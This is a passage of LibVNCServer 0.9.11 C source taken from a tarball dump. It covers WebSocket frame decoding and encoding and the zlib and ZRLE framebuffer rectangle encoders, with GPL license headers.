result = len; wsctx->readbuflen -= len; wsctx->readbufstart += len; } else { memcpy(dst, wsctx->readbuf + wsctx->readbufstart, wsctx->readbuflen); result = wsctx->readbuflen; wsctx->readbuflen = 0; wsctx->readbufstart = 0; } goto spor; } buf = wsctx->codeBufDecode; header = (ws_header_t *)wsctx->codeBufDecode; ret = ws_peek(cl, buf, B64LEN(len) + WSHLENMAX); if (ret < 2) { /* save errno because rfbErr() will tamper it */ if (-1 == ret) { int olderrno = errno; rfbErr("%s: peek; %m\n", __func__); errno = olderrno; } else if (0 == ret) { result = 0; } else { errno = EAGAIN; } goto spor; } opcode = header->b0 & 0x0f; /* fin = (header->b0 & 0x80) >> 7; */ /* not used atm */ flength = header->b1 & 0x7f; /* * 4.3. Client-to-Server Masking * * The client MUST mask all frames sent to the server. A server MUST * close the connection upon receiving a frame with the MASK bit set to 0. **/ if (!(header->b1 & 0x80)) { rfbErr("%s: got frame without mask\n", __func__, ret); errno = EIO; goto spor; } if (flength < 126) { fhlen = 2; mask = header->u.m; } else if (flength == 126 && 4 <= ret) { flength = WS_NTOH16(header->u.s16.l16); fhlen = 4; mask = header->u.s16.m16; } else if (flength == 127 && 10 <= ret) { flength = WS_NTOH64(header->u.s64.l64); fhlen = 10; mask = header->u.s64.m64; } else { /* Incomplete frame header */ rfbErr("%s: incomplete frame header\n", __func__, ret); errno = EIO; goto spor; } /* absolute length of frame */ total = fhlen + flength + 4; payload = buf + fhlen + 4; /* header length + mask */ if (-1 == (ret = ws_read(cl, buf, total))) { int olderrno = errno; rfbErr("%s: read; %m", __func__); errno = olderrno; return ret; } else if (ret < total) { /* GT TODO: hmm? */ rfbLog("%s: read; got partial data\n", __func__); } else { buf[ret] = '\0'; } /* process 1 frame (32 bit op) */ payload32 = (uint32_t *)payload; for (i = 0; i < flength / 4; i++) { payload32[i] ^= mask.u; } /* process the remaining bytes (if any) */ for (i*=4; i < flength; i++) { payload[i] ^= mask.c[i % 4]; } switch (opcode) { case WS_OPCODE_CLOSE: rfbLog("got closure, reason %d\n", WS_NTOH16(((uint16_t *)payload)[0])); errno = ECONNRESET; break; case WS_OPCODE_TEXT_FRAME: if (-1 == (flength = __b64_pton(payload, (unsigned char *)wsctx->codeBufDecode, sizeof(wsctx->codeBufDecode)))) { rfbErr("%s: Base64 decode error; %m\n", __func__); break; } payload = wsctx->codeBufDecode; /* fall through */ case WS_OPCODE_BINARY_FRAME: if (flength > len) { memcpy(wsctx->readbuf, payload + len, flength - len); wsctx->readbufstart = 0; wsctx->readbuflen = flength - len; flength = len; } memcpy(dst, payload, flength); result = flength; break; default: rfbErr("%s: unhandled opcode %d, b0: %02x, b1: %02x\n", __func__, (int)opcode, header->b0, header->b1); } /* single point of return, if someone has questions :-) */ spor: /* rfbLog("%s: ret: %d/%d\n", __func__, result, len); */ return result; } static int webSocketsEncodeHybi(rfbClientPtr cl, const char *src, int len, char **dst) { int blen, ret = -1, sz = 0; unsigned char opcode = '\0'; /* TODO: option! */ ws_header_t *header; ws_ctx_t *wsctx = (ws_ctx_t *)cl->wsctx; /* Optional opcode: * 0x0 - continuation * 0x1 - text frame (base64 encode buf) * 0x2 - binary frame (use raw buf) * 0x8 - connection close * 0x9 - ping * 0xA - pong **/ if (!len) { /* nothing to encode */ return 0; } header = (ws_header_t *)wsctx->codeBufEncode; if (wsctx->base64) { opcode = WS_OPCODE_TEXT_FRAME; /* calculate the resulting size */ blen = B64LEN(len); } else { opcode = WS_OPCODE_BINARY_FRAME; blen = len; } header->b0 = 0x80 | (opcode & 0x0f); if (blen <= 125) { header->b1 = (uint8_t)blen; sz = 2; } else if (blen <= 65536) { header->b1 = 0x7e; header->u.s16.l16 = WS_HTON16((uint16_t)blen); sz = 4; } else { header->b1 = 0x7f; header->u.s64.l64 = WS_HTON64(blen); sz = 10; } if (wsctx->base64) { if (-1 == (ret = __b64_ntop((unsigned char *)src, len, wsctx->codeBufEncode + sz, sizeof(wsctx->codeBufEncode) - sz))) { rfbErr("%s: Base 64 encode failed\n", __func__); } else { if (ret != blen) rfbErr("%s: Base 64 encode; something weird happened\n", __func__); ret += sz; } } else { memcpy(wsctx->codeBufEncode + sz, src, len); ret = sz + len; } *dst = wsctx->codeBufEncode; return ret; } int webSocketsEncode(rfbClientPtr cl, const char *src, int len, char **dst) { return ((ws_ctx_t *)cl->wsctx)->encode(cl, src, len, dst); } int webSocketsDecode(rfbClientPtr cl, char *dst, int len) { return ((ws_ctx_t *)cl->wsctx)->decode(cl, dst, len); } /* returns TRUE if client sent a close frame or a single 'end of frame' * marker was received, FALSE otherwise * * Note: This is a Hixie-only hack! **/ rfbBool webSocketCheckDisconnect(rfbClientPtr cl) { ws_ctx_t *wsctx = (ws_ctx_t *)cl->wsctx; /* With Base64 encoding we need at least 4 bytes */ char peekbuf[4]; int n; if (wsctx->version == WEBSOCKETS_VERSION_HYBI) return FALSE; if (cl->sslctx) n = rfbssl_peek(cl, peekbuf, 4); else n = recv(cl->sock, peekbuf, 4, MSG_PEEK); if (n <= 0) { if (n != 0) rfbErr("%s: peek; %m", __func__); rfbCloseClient(cl); return TRUE; } if (peekbuf[0] == '\xff') { int doclose = 0; /* Make sure we don't miss a client disconnect on an end frame * marker. Because we use a peek buffer in some cases it is not * applicable to wait for more data per select(). */ switch (n) { case 3: if (peekbuf[1] == '\xff' && peekbuf[2] == '\x00') doclose = 1; break; case 2: if (peekbuf[1] == '\x00') doclose = 1; break; default: return FALSE; } if (cl->sslctx) n = rfbssl_read(cl, peekbuf, n); else n = read(cl->sock, peekbuf, n); if (doclose) { rfbErr("%s: websocket close frame received\n", __func__); rfbCloseClient(cl); } return TRUE; } return FALSE; } /* returns TRUE if there is data waiting to be read in our internal buffer * or if is there any pending data in the buffer of the SSL implementation */ rfbBool webSocketsHasDataInBuffer(rfbClientPtr cl) { ws_ctx_t *wsctx = (ws_ctx_t *)cl->wsctx; if (wsctx && wsctx->readbuflen) return TRUE; return (cl->sslctx && rfbssl_pending(cl) > 0); } libvncserver-LibVNCServer-0.9.11/libvncserver/zlib.c000066400000000000000000000233101303145525000223550ustar00rootroot00000000000000/* * zlib.c * * Routines to implement zlib based encoding (deflate). */ /* * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. * * For the latest source code, please check: * * http://www.developVNC.org/ * * or send email to feedback@developvnc.org. */ #include /* * zlibBeforeBuf contains pixel data in the client's format. * zlibAfterBuf contains the zlib (deflated) encoding version. * If the zlib compressed/encoded version is * larger than the raw data or if it exceeds zlibAfterBufSize then * raw encoding is used instead. */ /* * Out of lazyiness, we use thread local storage for zlib as we did for * tight. N.B. ZRLE does it the traditional way with per-client storage * (and so at least ZRLE will work threaded on older systems.) */ #if LIBVNCSERVER_HAVE_LIBPTHREAD && LIBVNCSERVER_HAVE_TLS && !defined(TLS) && defined(__linux__) #define TLS __thread #endif #ifndef TLS #define TLS #endif static TLS int zlibBeforeBufSize = 0; static TLS char *zlibBeforeBuf = NULL; static TLS int zlibAfterBufSize = 0; static TLS char *zlibAfterBuf = NULL; static TLS int zlibAfterBufLen = 0; void rfbZlibCleanup(rfbScreenInfoPtr screen) { if (zlibBeforeBufSize) { free(zlibBeforeBuf); zlibBeforeBufSize=0; } if (zlibAfterBufSize) { zlibAfterBufSize=0; free(zlibAfterBuf); } } /* * rfbSendOneRectEncodingZlib - send a given rectangle using one Zlib * rectangle encoding. */ static rfbBool rfbSendOneRectEncodingZlib(rfbClientPtr cl, int x, int y, int w, int h) { rfbFramebufferUpdateRectHeader rect; rfbZlibHeader hdr; int deflateResult; int previousOut; int i; char *fbptr = (cl->scaledScreen->frameBuffer + (cl->scaledScreen->paddedWidthInBytes * y) + (x * (cl->scaledScreen->bitsPerPixel / 8))); int maxRawSize; int maxCompSize; maxRawSize = (cl->scaledScreen->width * cl->scaledScreen->height * (cl->format.bitsPerPixel / 8)); if (zlibBeforeBufSize < maxRawSize) { zlibBeforeBufSize = maxRawSize; if (zlibBeforeBuf == NULL) zlibBeforeBuf = (char *)malloc(zlibBeforeBufSize); else zlibBeforeBuf = (char *)realloc(zlibBeforeBuf, zlibBeforeBufSize); } /* zlib compression is not useful for very small data sets. * So, we just send these raw without any compression. */ if (( w * h * (cl->scaledScreen->bitsPerPixel / 8)) < VNC_ENCODE_ZLIB_MIN_COMP_SIZE ) { int result; /* The translation function (used also by the in raw encoding) * requires 4/2/1 byte alignment in the output buffer (which is * updateBuf for the raw encoding) based on the bitsPerPixel of * the viewer/client. This prevents SIGBUS errors on some * architectures like SPARC, PARISC... */ if (( cl->format.bitsPerPixel > 8 ) && ( cl->ublen % ( cl->format.bitsPerPixel / 8 )) != 0 ) { if (!rfbSendUpdateBuf(cl)) return FALSE; } result = rfbSendRectEncodingRaw(cl, x, y, w, h); return result; } /* * zlib requires output buffer to be slightly larger than the input * buffer, in the worst case. */ maxCompSize = maxRawSize + (( maxRawSize + 99 ) / 100 ) + 12; if (zlibAfterBufSize < maxCompSize) { zlibAfterBufSize = maxCompSize; if (zlibAfterBuf == NULL) zlibAfterBuf = (char *)malloc(zlibAfterBufSize); else zlibAfterBuf = (char *)realloc(zlibAfterBuf, zlibAfterBufSize); } /* * Convert pixel data to client format. */ (*cl->translateFn)(cl->translateLookupTable, &cl->screen->serverFormat, &cl->format, fbptr, zlibBeforeBuf, cl->scaledScreen->paddedWidthInBytes, w, h); cl->compStream.next_in = ( Bytef * )zlibBeforeBuf; cl->compStream.avail_in = w * h * (cl->format.bitsPerPixel / 8); cl->compStream.next_out = ( Bytef * )zlibAfterBuf; cl->compStream.avail_out = maxCompSize; cl->compStream.data_type = Z_BINARY; /* Initialize the deflation state. */ if ( cl->compStreamInited == FALSE ) { cl->compStream.total_in = 0; cl->compStream.total_out = 0; cl->compStream.zalloc = Z_NULL; cl->compStream.zfree = Z_NULL; cl->compStream.opaque = Z_NULL; deflateInit2( &(cl->compStream), cl->zlibCompressLevel, Z_DEFLATED, MAX_WBITS, MAX_MEM_LEVEL, Z_DEFAULT_STRATEGY ); /* deflateInit( &(cl->compStream), Z_BEST_COMPRESSION ); */ /* deflateInit( &(cl->compStream), Z_BEST_SPEED ); */ cl->compStreamInited = TRUE; } previousOut = cl->compStream.total_out; /* Perform the compression here. */ deflateResult = deflate( &(cl->compStream), Z_SYNC_FLUSH ); /* Find the total size of the resulting compressed data. */ zlibAfterBufLen = cl->compStream.total_out - previousOut; if ( deflateResult != Z_OK ) { rfbErr("zlib deflation error: %s\n", cl->compStream.msg); return FALSE; } /* Note that it is not possible to switch zlib parameters based on * the results of the compression pass. The reason is * that we rely on the compressor and decompressor states being * in sync. Compressing and then discarding the results would * cause lose of synchronization. */ /* Update statics */ rfbStatRecordEncodingSent(cl, rfbEncodingZlib, sz_rfbFramebufferUpdateRectHeader + sz_rfbZlibHeader + zlibAfterBufLen, + w * (cl->format.bitsPerPixel / 8) * h); if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + sz_rfbZlibHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(rfbEncodingZlib); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; hdr.nBytes = Swap32IfLE(zlibAfterBufLen); memcpy(&cl->updateBuf[cl->ublen], (char *)&hdr, sz_rfbZlibHeader); cl->ublen += sz_rfbZlibHeader; for (i = 0; i < zlibAfterBufLen;) { int bytesToCopy = UPDATE_BUF_SIZE - cl->ublen; if (i + bytesToCopy > zlibAfterBufLen) { bytesToCopy = zlibAfterBufLen - i; } memcpy(&cl->updateBuf[cl->ublen], &zlibAfterBuf[i], bytesToCopy); cl->ublen += bytesToCopy; i += bytesToCopy; if (cl->ublen == UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } } return TRUE; } /* * rfbSendRectEncodingZlib - send a given rectangle using one or more * Zlib encoding rectangles. */ rfbBool rfbSendRectEncodingZlib(rfbClientPtr cl, int x, int y, int w, int h) { int maxLines; int linesRemaining; rfbRectangle partialRect; partialRect.x = x; partialRect.y = y; partialRect.w = w; partialRect.h = h; /* Determine maximum pixel/scan lines allowed per rectangle. */ maxLines = ( ZLIB_MAX_SIZE(w) / w ); /* Initialize number of scan lines left to do. */ linesRemaining = h; /* Loop until all work is done. */ while ( linesRemaining > 0 ) { int linesToComp; if ( maxLines < linesRemaining ) linesToComp = maxLines; else linesToComp = linesRemaining; partialRect.h = linesToComp; /* Encode (compress) and send the next rectangle. */ if ( ! rfbSendOneRectEncodingZlib( cl, partialRect.x, partialRect.y, partialRect.w, partialRect.h )) { return FALSE; } /* Technically, flushing the buffer here is not extremely * efficient. However, this improves the overall throughput * of the system over very slow networks. By flushing * the buffer with every maximum size zlib rectangle, we * improve the pipelining usage of the server CPU, network, * and viewer CPU components. Insuring that these components * are working in parallel actually improves the performance * seen by the user. * Since, zlib is most useful for slow networks, this flush * is appropriate for the desired behavior of the zlib encoding. */ if (( cl->ublen > 0 ) && ( linesToComp == maxLines )) { if (!rfbSendUpdateBuf(cl)) { return FALSE; } } /* Update remaining and incremental rectangle location. */ linesRemaining -= linesToComp; partialRect.y += linesToComp; } return TRUE; } libvncserver-LibVNCServer-0.9.11/libvncserver/zrle.c000066400000000000000000000160731303145525000224010ustar00rootroot00000000000000/* * Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. * Copyright (C) 2003 Sun Microsystems, Inc. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * zrle.c * * Routines to implement Zlib Run-length Encoding (ZRLE). */ #include "rfb/rfb.h" #include "private.h" #include "zrleoutstream.h" #define GET_IMAGE_INTO_BUF(tx,ty,tw,th,buf) \ { char *fbptr = (cl->scaledScreen->frameBuffer \ + (cl->scaledScreen->paddedWidthInBytes * ty) \ + (tx * (cl->scaledScreen->bitsPerPixel / 8))); \ \ (*cl->translateFn)(cl->translateLookupTable, &cl->screen->serverFormat,\ &cl->format, fbptr, (char*)buf, \ cl->scaledScreen->paddedWidthInBytes, tw, th); } #define EXTRA_ARGS , rfbClientPtr cl #define ENDIAN_LITTLE 0 #define ENDIAN_BIG 1 #define ENDIAN_NO 2 #define BPP 8 #define ZYWRLE_ENDIAN ENDIAN_NO #include #undef BPP #define BPP 15 #undef ZYWRLE_ENDIAN #define ZYWRLE_ENDIAN ENDIAN_LITTLE #include #undef ZYWRLE_ENDIAN #define ZYWRLE_ENDIAN ENDIAN_BIG #include #undef BPP #define BPP 16 #undef ZYWRLE_ENDIAN #define ZYWRLE_ENDIAN ENDIAN_LITTLE #include #undef ZYWRLE_ENDIAN #define ZYWRLE_ENDIAN ENDIAN_BIG #include #undef BPP #define BPP 32 #undef ZYWRLE_ENDIAN #define ZYWRLE_ENDIAN ENDIAN_LITTLE #include #undef ZYWRLE_ENDIAN #define ZYWRLE_ENDIAN ENDIAN_BIG #include #define CPIXEL 24A #undef ZYWRLE_ENDIAN #define ZYWRLE_ENDIAN ENDIAN_LITTLE #include #undef ZYWRLE_ENDIAN #define ZYWRLE_ENDIAN ENDIAN_BIG #include #undef CPIXEL #define CPIXEL 24B #undef ZYWRLE_ENDIAN #define ZYWRLE_ENDIAN ENDIAN_LITTLE #include #undef ZYWRLE_ENDIAN #define ZYWRLE_ENDIAN ENDIAN_BIG #include #undef CPIXEL #undef BPP /* * zrleBeforeBuf contains pixel data in the client's format. It must be at * least one pixel bigger than the largest tile of pixel data, since the * ZRLE encoding algorithm writes to the position one past the end of the pixel * data. */ /* * rfbSendRectEncodingZRLE - send a given rectangle using ZRLE encoding. */ rfbBool rfbSendRectEncodingZRLE(rfbClientPtr cl, int x, int y, int w, int h) { zrleOutStream* zos; rfbFramebufferUpdateRectHeader rect; rfbZRLEHeader hdr; int i; char *zrleBeforeBuf; if (cl->zrleBeforeBuf == NULL) { cl->zrleBeforeBuf = (char *) malloc(rfbZRLETileWidth * rfbZRLETileHeight * 4 + 4); } zrleBeforeBuf = cl->zrleBeforeBuf; if (cl->preferredEncoding == rfbEncodingZYWRLE) { if (cl->tightQualityLevel < 0) { cl->zywrleLevel = 1; } else if (cl->tightQualityLevel < 3) { cl->zywrleLevel = 3; } else if (cl->tightQualityLevel < 6) { cl->zywrleLevel = 2; } else { cl->zywrleLevel = 1; } } else cl->zywrleLevel = 0; if (!cl->zrleData) cl->zrleData = zrleOutStreamNew(); zos = cl->zrleData; zos->in.ptr = zos->in.start; zos->out.ptr = zos->out.start; switch (cl->format.bitsPerPixel) { case 8: zrleEncode8NE(x, y, w, h, zos, zrleBeforeBuf, cl); break; case 16: if (cl->format.greenMax > 0x1F) { if (cl->format.bigEndian) zrleEncode16BE(x, y, w, h, zos, zrleBeforeBuf, cl); else zrleEncode16LE(x, y, w, h, zos, zrleBeforeBuf, cl); } else { if (cl->format.bigEndian) zrleEncode15BE(x, y, w, h, zos, zrleBeforeBuf, cl); else zrleEncode15LE(x, y, w, h, zos, zrleBeforeBuf, cl); } break; case 32: { rfbBool fitsInLS3Bytes = ((cl->format.redMax << cl->format.redShift) < (1<<24) && (cl->format.greenMax << cl->format.greenShift) < (1<<24) && (cl->format.blueMax << cl->format.blueShift) < (1<<24)); rfbBool fitsInMS3Bytes = (cl->format.redShift > 7 && cl->format.greenShift > 7 && cl->format.blueShift > 7); if ((fitsInLS3Bytes && !cl->format.bigEndian) || (fitsInMS3Bytes && cl->format.bigEndian)) { if (cl->format.bigEndian) zrleEncode24ABE(x, y, w, h, zos, zrleBeforeBuf, cl); else zrleEncode24ALE(x, y, w, h, zos, zrleBeforeBuf, cl); } else if ((fitsInLS3Bytes && cl->format.bigEndian) || (fitsInMS3Bytes && !cl->format.bigEndian)) { if (cl->format.bigEndian) zrleEncode24BBE(x, y, w, h, zos, zrleBeforeBuf, cl); else zrleEncode24BLE(x, y, w, h, zos, zrleBeforeBuf, cl); } else { if (cl->format.bigEndian) zrleEncode32BE(x, y, w, h, zos, zrleBeforeBuf, cl); else zrleEncode32LE(x, y, w, h, zos, zrleBeforeBuf, cl); } } break; } rfbStatRecordEncodingSent(cl, rfbEncodingZRLE, sz_rfbFramebufferUpdateRectHeader + sz_rfbZRLEHeader + ZRLE_BUFFER_LENGTH(&zos->out), + w * (cl->format.bitsPerPixel / 8) * h); if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + sz_rfbZRLEHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(cl->preferredEncoding); memcpy(cl->updateBuf+cl->ublen, (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; hdr.length = Swap32IfLE(ZRLE_BUFFER_LENGTH(&zos->out)); memcpy(cl->updateBuf+cl->ublen, (char *)&hdr, sz_rfbZRLEHeader); cl->ublen += sz_rfbZRLEHeader; /* copy into updateBuf and send from there. Maybe should send directly? */ for (i = 0; i < ZRLE_BUFFER_LENGTH(&zos->out);) { int bytesToCopy = UPDATE_BUF_SIZE - cl->ublen; if (i + bytesToCopy > ZRLE_BUFFER_LENGTH(&zos->out)) { bytesToCopy = ZRLE_BUFFER_LENGTH(&zos->out) - i; } memcpy(cl->updateBuf+cl->ublen, (uint8_t*)zos->out.start + i, bytesToCopy); cl->ublen += bytesToCopy; i += bytesToCopy; if (cl->ublen == UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } } return TRUE; } void rfbFreeZrleData(rfbClientPtr cl) { if (cl->zrleData) { zrleOutStreamFree(cl->zrleData); } cl->zrleData = NULL; if (cl->zrleBeforeBuf) { free(cl->zrleBeforeBuf); } cl->zrleBeforeBuf = NULL; if (cl->paletteHelper) { free(cl->paletteHelper); } cl->paletteHelper = NULL; } libvncserver-LibVNCServer-0.9.11/libvncserver/zrleencodetemplate.c000066400000000000000000000203241303145525000253050ustar00rootroot00000000000000/* * Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. * Copyright (C) 2003 Sun Microsystems, Inc. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ /* * Before including this file, you must define a number of CPP macros. * * BPP should be 8, 16 or 32 depending on the bits per pixel. * GET_IMAGE_INTO_BUF should be some code which gets a rectangle of pixel data * into the given buffer. EXTRA_ARGS can be defined to pass any other * arguments needed by GET_IMAGE_INTO_BUF. * * Note that the buf argument to ZRLE_ENCODE needs to be at least one pixel * bigger than the largest tile of pixel data, since the ZRLE encoding * algorithm writes to the position one past the end of the pixel data. */ #include "zrleoutstream.h" #include "zrlepalettehelper.h" #include /* __RFB_CONCAT2 concatenates its two arguments. __RFB_CONCAT2E does the same but also expands its arguments if they are macros */ #ifndef __RFB_CONCAT2E #define __RFB_CONCAT2(a,b) a##b #define __RFB_CONCAT2E(a,b) __RFB_CONCAT2(a,b) #endif #ifndef __RFB_CONCAT3E #define __RFB_CONCAT3(a,b,c) a##b##c #define __RFB_CONCAT3E(a,b,c) __RFB_CONCAT3(a,b,c) #endif #undef END_FIX #if ZYWRLE_ENDIAN == ENDIAN_LITTLE # define END_FIX LE #elif ZYWRLE_ENDIAN == ENDIAN_BIG # define END_FIX BE #else # define END_FIX NE #endif #ifdef CPIXEL #define PIXEL_T __RFB_CONCAT2E(zrle_U,BPP) #define zrleOutStreamWRITE_PIXEL __RFB_CONCAT2E(zrleOutStreamWriteOpaque,CPIXEL) #define ZRLE_ENCODE __RFB_CONCAT3E(zrleEncode,CPIXEL,END_FIX) #define ZRLE_ENCODE_TILE __RFB_CONCAT3E(zrleEncodeTile,CPIXEL,END_FIX) #define BPPOUT 24 #elif BPP==15 #define PIXEL_T __RFB_CONCAT2E(zrle_U,16) #define zrleOutStreamWRITE_PIXEL __RFB_CONCAT2E(zrleOutStreamWriteOpaque,16) #define ZRLE_ENCODE __RFB_CONCAT3E(zrleEncode,BPP,END_FIX) #define ZRLE_ENCODE_TILE __RFB_CONCAT3E(zrleEncodeTile,BPP,END_FIX) #define BPPOUT 16 #else #define PIXEL_T __RFB_CONCAT2E(zrle_U,BPP) #define zrleOutStreamWRITE_PIXEL __RFB_CONCAT2E(zrleOutStreamWriteOpaque,BPP) #define ZRLE_ENCODE __RFB_CONCAT3E(zrleEncode,BPP,END_FIX) #define ZRLE_ENCODE_TILE __RFB_CONCAT3E(zrleEncodeTile,BPP,END_FIX) #define BPPOUT BPP #endif #ifndef ZRLE_ONCE #define ZRLE_ONCE static const int bitsPerPackedPixel[] = { 0, 1, 2, 2, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4 }; #endif /* ZRLE_ONCE */ void ZRLE_ENCODE_TILE (PIXEL_T* data, int w, int h, zrleOutStream* os, int zywrle_level, int *zywrleBuf, void *paletteHelper); #if BPP!=8 #define ZYWRLE_ENCODE #include "zywrletemplate.c" #endif static void ZRLE_ENCODE (int x, int y, int w, int h, zrleOutStream* os, void* buf EXTRA_ARGS ) { int ty; for (ty = y; ty < y+h; ty += rfbZRLETileHeight) { int tx, th = rfbZRLETileHeight; if (th > y+h-ty) th = y+h-ty; for (tx = x; tx < x+w; tx += rfbZRLETileWidth) { int tw = rfbZRLETileWidth; if (tw > x+w-tx) tw = x+w-tx; GET_IMAGE_INTO_BUF(tx,ty,tw,th,buf); if (cl->paletteHelper == NULL) { cl->paletteHelper = (void *) calloc(sizeof(zrlePaletteHelper), 1); } ZRLE_ENCODE_TILE((PIXEL_T*)buf, tw, th, os, cl->zywrleLevel, cl->zywrleBuf, cl->paletteHelper); } } zrleOutStreamFlush(os); } void ZRLE_ENCODE_TILE(PIXEL_T* data, int w, int h, zrleOutStream* os, int zywrle_level, int *zywrleBuf, void *paletteHelper) { /* First find the palette and the number of runs */ zrlePaletteHelper *ph; int runs = 0; int singlePixels = 0; rfbBool useRle; rfbBool usePalette; int estimatedBytes; int plainRleBytes; int i; PIXEL_T* ptr = data; PIXEL_T* end = ptr + h * w; *end = ~*(end-1); /* one past the end is different so the while loop ends */ ph = (zrlePaletteHelper *) paletteHelper; zrlePaletteHelperInit(ph); while (ptr < end) { PIXEL_T pix = *ptr; if (*++ptr != pix) { singlePixels++; } else { while (*++ptr == pix) ; runs++; } zrlePaletteHelperInsert(ph, pix); } /* Solid tile is a special case */ if (ph->size == 1) { zrleOutStreamWriteU8(os, 1); zrleOutStreamWRITE_PIXEL(os, ph->palette[0]); return; } /* Try to work out whether to use RLE and/or a palette. We do this by estimating the number of bytes which will be generated and picking the method which results in the fewest bytes. Of course this may not result in the fewest bytes after compression... */ useRle = FALSE; usePalette = FALSE; estimatedBytes = w * h * (BPPOUT/8); /* start assuming raw */ #if BPP!=8 if (zywrle_level > 0 && !(zywrle_level & 0x80)) estimatedBytes >>= zywrle_level; #endif plainRleBytes = ((BPPOUT/8)+1) * (runs + singlePixels); if (plainRleBytes < estimatedBytes) { useRle = TRUE; estimatedBytes = plainRleBytes; } if (ph->size < 128) { int paletteRleBytes = (BPPOUT/8) * ph->size + 2 * runs + singlePixels; if (paletteRleBytes < estimatedBytes) { useRle = TRUE; usePalette = TRUE; estimatedBytes = paletteRleBytes; } if (ph->size < 17) { int packedBytes = ((BPPOUT/8) * ph->size + w * h * bitsPerPackedPixel[ph->size-1] / 8); if (packedBytes < estimatedBytes) { useRle = FALSE; usePalette = TRUE; estimatedBytes = packedBytes; } } } if (!usePalette) ph->size = 0; zrleOutStreamWriteU8(os, (useRle ? 128 : 0) | ph->size); for (i = 0; i < ph->size; i++) { zrleOutStreamWRITE_PIXEL(os, ph->palette[i]); } if (useRle) { PIXEL_T* ptr = data; PIXEL_T* end = ptr + w * h; PIXEL_T* runStart; PIXEL_T pix; while (ptr < end) { int len; runStart = ptr; pix = *ptr++; while (*ptr == pix && ptr < end) ptr++; len = ptr - runStart; if (len <= 2 && usePalette) { int index = zrlePaletteHelperLookup(ph, pix); if (len == 2) zrleOutStreamWriteU8(os, index); zrleOutStreamWriteU8(os, index); continue; } if (usePalette) { int index = zrlePaletteHelperLookup(ph, pix); zrleOutStreamWriteU8(os, index | 128); } else { zrleOutStreamWRITE_PIXEL(os, pix); } len -= 1; while (len >= 255) { zrleOutStreamWriteU8(os, 255); len -= 255; } zrleOutStreamWriteU8(os, len); } } else { /* no RLE */ if (usePalette) { int bppp; PIXEL_T* ptr = data; /* packed pixels */ assert (ph->size < 17); bppp = bitsPerPackedPixel[ph->size-1]; for (i = 0; i < h; i++) { zrle_U8 nbits = 0; zrle_U8 byte = 0; PIXEL_T* eol = ptr + w; while (ptr < eol) { PIXEL_T pix = *ptr++; zrle_U8 index = zrlePaletteHelperLookup(ph, pix); byte = (byte << bppp) | index; nbits += bppp; if (nbits >= 8) { zrleOutStreamWriteU8(os, byte); nbits = 0; } } if (nbits > 0) { byte <<= 8 - nbits; zrleOutStreamWriteU8(os, byte); } } } else { /* raw */ #if BPP!=8 if (zywrle_level > 0 && !(zywrle_level & 0x80)) { ZYWRLE_ANALYZE(data, data, w, h, w, zywrle_level, zywrleBuf); ZRLE_ENCODE_TILE(data, w, h, os, zywrle_level | 0x80, zywrleBuf, paletteHelper); } else #endif { #ifdef CPIXEL PIXEL_T *ptr; for (ptr = data; ptr < data+w*h; ptr++) zrleOutStreamWRITE_PIXEL(os, *ptr); #else zrleOutStreamWriteBytes(os, (zrle_U8 *)data, w*h*(BPP/8)); #endif } } } } #undef PIXEL_T #undef zrleOutStreamWRITE_PIXEL #undef ZRLE_ENCODE #undef ZRLE_ENCODE_TILE #undef ZYWRLE_ENCODE_TILE #undef BPPOUT libvncserver-LibVNCServer-0.9.11/libvncserver/zrleoutstream.c000066400000000000000000000150721303145525000243430ustar00rootroot00000000000000/* * Copyright (C) 2002 RealVNC Ltd. All Rights Reserved. * Copyright (C) 2003 Sun Microsystems, Inc. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR 